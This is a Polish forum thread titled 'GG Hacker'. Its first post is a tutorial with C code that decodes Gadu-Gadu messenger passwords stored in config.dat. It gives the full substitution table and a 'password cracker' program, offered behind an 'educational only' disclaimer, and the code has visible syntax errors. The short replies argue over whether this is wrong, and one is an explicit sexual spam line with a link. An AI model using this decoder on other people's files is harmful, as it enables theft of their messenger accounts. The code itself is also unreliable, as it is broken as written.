![]() |
![]() | GG Hacker | ![]() |
Bartek
Billie Joe Armstrong
![]()
![]() |
![]() |
Piszemu swój własny cracker haseł do gg w C.
Witam! To mój pierwszy w życiu art więc nie myślcie o mnie źle podczas czytania go ![]() Oczywiście na początku zaznaczam, że... Dokument ten służy wyłącznie celom edukacyjnym i autor nie ponosi odpowiedzialności za jakiekolwiek szkody wywołane niewłaściwym wykorzystaniem zawartej tu wiedzy. No to jedziemy... Jak pewnie każdy z Was wie, hasła komunikatora gadu-gadu przechowywane są w pliku config.dat, w katalogu usera. Występuje ono po słowie 'Password2' i ma mniej więcej postać BECEDEBDCDDD. Jak jest kodowane? Bardzo prosto... Najpierw podam jaki kod odpowiada jakiej literze... Litery Duze: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Kod: BE CE DE EE FE GE HE IE JE KE LE ME NE OE PE AF BF CF DF EF FF GF HF IF JF KF Male Litery: a b c d e f g h i j k l m n o p q r s t u v w x y z Kod: BG CG DG EG FG GG HG IG JG KG LG MG NG OG PG AH BH CH DH EH FH GH HH IH JH KH Cyfry: 1 2 3 4 5 6 7 8 9 Kod: BD CD DD ED FD GD HD ID JD Znaki Specjalne: ! @ # $ % ^ & * ( ) _ + - = ] [ ; ' / . , { } " : ? > < Kod: BC AE DC EC FC OF GC KC IC JC PF LC NC ND NF LF LD HC PC OC MC LH NH CC KD PD OD MD Jak pewnie zauwazyliście 2 zakodowane znaki odpowiadają 1 literze odkodowanej ... Można zauważyc, ze np. w dużych literach kod literki składa sie z jakiejs litery i litery E lub F... To E i F to wyznaczniki dzięki którym interpreter haseł czyli gadu-gadu wie ze chodzi właśnie o duze litery... Sprawdźmy teraz pewną rzecz. Weźmy np. litere A i jej kod czyli BE. E pomijamy gdyż jest to wyznacznik i mamy litere B. Teraz weź prosze twoją podreczną tablice ASCII, znajdź B i cofnij się o jeden znak... Wychodzi A !!!... Teraz weźmy litere B. Jej kod CE. Bierzemy litere C i -1... Mamy B!!! Z tego wniosek ze dla każdego znaku, w którego kodzie wyznacznikiem jest E, cofając sie o 1 w ASCII otrzymamy odkodowaną litere. Tak samo jest z innymi wyznacznikami: C +65 D -17 E -1 F +14 G +31 H +47 Teraz możemy z łatwością napisać programik, który bedzie za nas odwalał "brudną robote". Zaczynamy ofkors od dołączenia plików nagłówkowych... #include <stdio.h> #include <stdlib.h> Potem przydałoby sie chyba odczytać hasło z config.dat... main() { FILE *wp; int i=(-1); char tab[32],ch; printf(" Gadu-Gadu password cracker v1.0 by x3rx3s\n"); printf(" **********x3rx3s@linuxpl.com*************\n\n"); while(!(wp=fopen("config.dat", "r"))) { printf("Nie moge otworzyc config.dat. ...najpierw skopiuj go do tego katalogu...\n\n");//obsługa będów system("pause"); return 1; } fseek(wp, 123, SEEK_SET);//przesuwamy sie o 123 bity while((ch = getc(wp)) != NULL) { tab[i++]=ch;//wczytujemy pokolei litery hasła } fclose(wp); Kilka słów wyjaśnienia co do fseek(). Oglądając config.dat można dostrzec ze zakodowane hasło zaczyna sie zawsze po znaku 123 w pliku dlatego tez przesuwamy się o 123 bity, na poczatek hasła. Jest to mysle lepsze niż wczytywanie całego pliku do zmiennej. Idźmy dalej... Teraz kiedy mamy juz hasło trzeba by je odkodować... printf("Zlamane haslo to : "); for(int j = 1, k = 0; j < i;k++, j+=2) { switch(tab[j]) { case 'D': printf("%c", (char)((int)tab[j - 1] - 17));// odkodowywanie ułatwi nam rzutowanie break; case 'G': printf("%c", (char)((int)tab[j - 1] + 31)); break; case 'H': printf("%c", (char)((int)tab[j - 1] + 47)); break; case 'E': printf("%c", (char)((int)tab[j - 1] - 1)); break; case 'F': printf("%c", (char)((int)tab[j - 1] + 14)); break; case 'C': printf("%c", (char)(int)tab[j - 1] + 65)); break; default: printf(" BLAD"); break; } } printf("\n\n"); system("pause"); return 0; I to by chyba było na tyle... Jeszcze raz prosze o wyrozumiałość, aczkolwiek wszelkie bluzgi i ewentualne pochwały prosze przesyłać pod [link widoczny dla zalogowanych] greetz: eX, o.b.star, Kornik, Krzychu T. pozdro 4 all... |
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![](http://picsrv.fora.pl/subSilver/images/spacer.gif)
![]() | ![]() |
Vinyl
Mike Drint
![]()
![]() |
![]() |
to jest bardzo zla zecz hakowac gg
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Bartek
Billie Joe Armstrong
![]()
![]() |
![]() |
no ale przydatna!
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Vinyl
Mike Drint
![]()
![]() |
![]() |
jak dla kogo
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Bartek
Billie Joe Armstrong
![]()
![]() |
![]() |
sdobra to jest post jak ktos chce a jak ktos nie chce to nie -.-
|
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | ![]() |
Kingsta
Nowy
![]() |
![]() |
Five guys fcking hard two grandmas in all holes
[link widoczny dla zalogowanych] |
|||||||||||||
Post został pochwalony 0 razy
|
![]() |
![]() | GG Hacker | ![]() |
|
||
![]() |
![]() |
fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001-2004 phpBB Group
phpBB Style created by phpBBStyles.com and distributed by Styles Database.
Powered by phpBB © 2001-2004 phpBB Group
phpBB Style created by phpBBStyles.com and distributed by Styles Database.